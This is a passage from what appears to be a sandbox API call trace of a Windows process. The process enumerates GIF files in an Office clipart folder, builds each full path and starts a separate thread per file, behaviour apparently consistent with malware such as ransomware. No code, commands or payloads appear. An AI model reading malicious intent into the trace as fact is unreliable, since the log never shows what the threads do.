Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.218] wcscat (in: _Dest=0x9350f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.218] wcscat (in: _Dest=0x9350f8, _Source="J0143748.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" [0142.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9350f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860 [0142.219] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ef75300, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ef75300, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1323, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143749.GIF", cAlternateFileName="")) returned 1 [0142.219] wcscmp (_String1="J0143749.GIF", _String2=".") returned 1 [0142.219] wcscmp (_String1="J0143749.GIF", _String2="..") returned 1 [0142.219] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x9351a0 [0142.220] wcscpy (in: _Dest=0x9351a0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.220] wcscat (in: _Dest=0x9351a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.220] wcscat (in: _Dest=0x9351a0, _Source="J0143749.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" [0142.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9351a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x864 [0142.221] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1896c00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1896c00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x43e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143750.GIF", cAlternateFileName="")) returned 1 [0142.221] wcscmp (_String1="J0143750.GIF", _String2=".") returned 1 [0142.221] wcscmp (_String1="J0143750.GIF", _String2="..") returned 1 [0142.221] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x935248 [0142.221] wcscpy (in: _Dest=0x935248, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.221] wcscat (in: _Dest=0x935248, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.221] wcscat (in: _Dest=0x935248, _Source="J0143750.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" [0142.221] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x868 [0142.222] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9313100, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9313100, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x412, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143752.GIF", cAlternateFileName="")) returned 1 [0142.222] wcscmp (_String1="J0143752.GIF", _String2=".") returned 1 [0142.222] wcscmp (_String1="J0143752.GIF", _String2="..") returned 1 [0142.222] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x9352f0 [0142.222] wcscpy (in: _Dest=0x9352f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.222] wcscat (in: _Dest=0x9352f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.222] wcscat (in: _Dest=0x9352f0, _Source="J0143752.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" [0142.222] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9352f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x86c [0142.224] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fe9600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fe9600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1b7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143753.GIF", cAlternateFileName="")) returned 1 [0142.224] wcscmp (_String1="J0143753.GIF", _String2=".") returned 1 [0142.224] wcscmp (_String1="J0143753.GIF", _String2="..") returned 1 [0142.224] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x935398 [0142.224] wcscpy (in: _Dest=0x935398, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.224] wcscat (in: _Dest=0x935398, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.224] wcscat (in: _Dest=0x935398, _Source="J0143753.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" [0142.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x870 [0142.225] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf30900, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbf30900, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x6ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143754.GIF", cAlternateFileName="")) returned 1 [0142.225] wcscmp (_String1="J0143754.GIF", _String2=".") returned 1 [0142.225] wcscmp (_String1="J0143754.GIF", _String2="..") returned 1 [0142.225] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x935440 [0142.225] wcscpy (in: _Dest=0x935440, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.225] wcscat (in: _Dest=0x935440, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.225] wcscat (in: _Dest=0x935440, _Source="J0143754.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" [0142.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x874 [0142.227] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8b07a00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8b07a00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x69f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143758.GIF", cAlternateFileName="")) returned 1 [0142.227] wcscmp (_String1="J0143758.GIF", _String2=".") returned 1 [0142.227] wcscmp (_String1="J0143758.GIF", _String2="..") returned 1 [0142.227] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x9354e8 [0142.227] wcscpy (in: _Dest=0x9354e8, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.227] wcscat (in: _Dest=0x9354e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.227] wcscat (in: _Dest=0x9354e8, _Source="J0143758.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" [0142.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9354e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x878 [0142.228] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x124a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00516L.GIF", cAlternateFileName="")) returned 1 [0142.228] wcscmp (_String1="WB00516L.GIF", _String2=".") returned 1 [0142.228] wcscmp (_String1="WB00516L.GIF", _String2="..") returned 1 [0142.228] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x935590 [0142.228] wcscpy (in: _Dest=0x935590, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.229] wcscat (in: _Dest=0x935590, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.229] wcscat (in: _Dest=0x935590, _Source="WB00516L.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" [0142.229] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x87c [0142.230] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2017, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00531L.GIF", cAlternateFileName="")) returned 1 [0142.230] wcscmp (_String1="WB00531L.GIF", _String2=".") returned 1 [0142.230] wcscmp (_String1="WB00531L.GIF", _String2="..") returned 1 [0142.230] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x935638 [0142.230] wcscpy (in: _Dest=0x935638, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.230] wcscat (in: _Dest=0x935638, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.230] wcscat (in: _Dest=0x935638, _Source="WB00531L.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" [0142.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935638, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x880 [0142.231] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x20ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00673L.GIF", cAlternateFileName="")) returned 1 [0142.231] wcscmp (_String1="WB00673L.GIF", _String2=".") returned 1 [0142.231] wcscmp (_String1="WB00673L.GIF", _String2="..") returned 1 [0142.231] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x9356e0 [0142.231] wcscpy (in: _Dest=0x9356e0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.231] wcscat (in: _Dest=0x9356e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.232] wcscat (in: _Dest=0x9356e0, _Source="WB00673L.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" [0142.232] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9356e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x884 [0142.233] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00703L.GIF", cAlternateFileName="")) returned 1 [0142.233] wcscmp (_String1="WB00703L.GIF", _String2=".") returned 1 [0142.233] wcscmp (_String1="WB00703L.GIF", _String2="..") returned 1 [0142.233] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x935788 [0142.233] wcscpy (in: _Dest=0x935788, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.233] wcscat (in: _Dest=0x935788, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.233] wcscat (in: _Dest=0x935788, _Source="WB00703L.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" [0142.233] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x888 [0142.234] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2313, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00760L.GIF", cAlternateFileName="")) returned 1 [0142.234] wcscmp (_String1="WB00760L.GIF", _String2=".") returned 1 [0142.234] wcscmp (_String1="WB00760L.GIF", _String2="..") returned 1 [0142.234] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x935830 [0142.234] wcscpy (in: _Dest=0x935830, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.234] wcscat (in: _Dest=0x935830, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.234] wcscat (in: _Dest=0x935830, _Source="WB00760L.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" [0142.234] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x88c [0142.236] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00780L.GIF", cAlternateFileName="")) returned 1 [0142.236] wcscmp (_String1="WB00780L.GIF", _String2=".") returned 1 [0142.236] wcscmp (_String1="WB00780L.GIF", _String2="..") returned 1 [0142.236] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x9358d8 [0142.236] wcscpy (in: _Dest=0x9358d8, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.236] wcscat (in: _Dest=0x9358d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.236] wcscat (in: _Dest=0x9358d8, _Source="WB00780L.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" [0142.236] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9358d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x890 [0142.237] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01741L.GIF", cAlternateFileName="")) returned 1 [0142.237] wcscmp (_String1="WB01741L.GIF", _String2=".") returned 1 [0142.237] wcscmp (_String1="WB01741L.GIF", _String2="..") returned 1 [0142.237] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x935980 [0142.237] wcscpy (in: _Dest=0x935980, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.237] wcscat (in: _Dest=0x935980, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.237] wcscat (in: _Dest=0x935980, _Source="WB01741L.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" [0142.237] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x894 [0142.239] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02039_.GIF", cAlternateFileName="")) returned 1 [0142.239] wcscmp (_String1="WB02039_.GIF", _String2=".") returned 1 [0142.239] wcscmp (_String1="WB02039_.GIF", _String2="..") returned 1 [0142.239] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x935a28 [0142.239] wcscpy (in: _Dest=0x935a28, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.239] wcscat (in: _Dest=0x935a28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.239] wcscat (in: _Dest=0x935a28, _Source="WB02039_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" [0142.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x898 [0142.240] FindNextFileW (in: hFindFile=0x8da390, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x987, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02055_.GIF", cAlternateFileName="")) returned 1 [0142.240] wcscmp (_String1="WB02055_.GIF", _String2=".") returned 1 [0142.240] wcscmp (_String1="WB02055_.GIF", _String2="..") returned 1 [0142.240] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x935ad0 [0142.240] wcscpy (in: _Dest=0x935ad0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0142.240] wcscat (in: _Dest=0x935ad0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0142.240] wcscat (in: _Dest=0x935ad0, _Source="WB02055_.GIF" | out: _Dest="C:\\Program Files\\Microsoft 